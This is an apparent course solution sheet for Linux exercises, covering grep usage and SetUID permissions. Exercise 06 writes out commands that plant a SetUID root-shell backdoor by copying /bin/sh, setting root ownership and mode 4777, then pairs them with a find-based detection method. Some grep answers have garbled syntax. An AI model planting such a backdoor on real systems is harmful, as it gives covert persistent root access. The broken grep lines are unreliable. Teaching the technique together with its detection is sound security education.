Sistemas Informáticos (Computer Systems)

Unit 05. Activities 03 - Solutions

Authors: Sergi García, Alfredo Oltra

Updated October 2022

UNIT 05. ACTIVITIES 03 - SOLUTIONS (ACTIVITIES 04 AND 06)

1. SOLUTION EXERCISE 04

- Show all lines of file "*list.txt*" that contain text "*lib*".
  - **Solution**: *grep "lib" list.txt*
- Show how many lines contain "*mp3*" in "*list.txt*".
  - **Solution**: *grep mp3 list.txt | wc -l*
- Show files inside "/etc/ directory that contain "*host*" string inside.
  - **Solution**: *grep -r host /etc*
- Show all lines of file "*list.txt*" that not contains letter "*a*" (uppercase or lowercase).
  - **Solution**: *grep -vi *a* list.txt*
- Show all lines of file "*list.txt*" that not contains "*a*" (uppercase or lowercase) and contains "*m*" (lowercase).
  - **Solution**: *grep -vi *a* list.txt | grep I *m**

2. SOLUTION EXERCISE 06

Using bit SetUid and supposing that temporally (something like 1 hour) you have access to a machine as root and in that machine you have permanently access to a user called "*alumno*" without sudoer permissions:

Question 01: How can we use bit SetUid bit to create a backdoor? (**Clue**: file "*/bin/sh*" could be useful).

Solution:

AS "root" use the following commands:

- *cd $HOME*
- *cp /bin/sh ./*
- *chown root ./sh*
- *chmod 4777 ./sh*

Now we have created the backdoor

- AS myuser:
- Simply run "./sh" in your home directory, and you will be root (you can check it with "*id*" command).

Question 02: How can we detect that kind of backdoors on our system? What kind of measures can we take to be safe against this kind of attack?

Solution:

Using: *find / -path /proc -prune -o -type f -perm +4000 -ls > listado.txt*

We can obtain all the files with bit SetUID bit active. If the list changes, maybe a new SetUID file has been created. Also, we can use software for "system integrity" like http://www.ossec.net/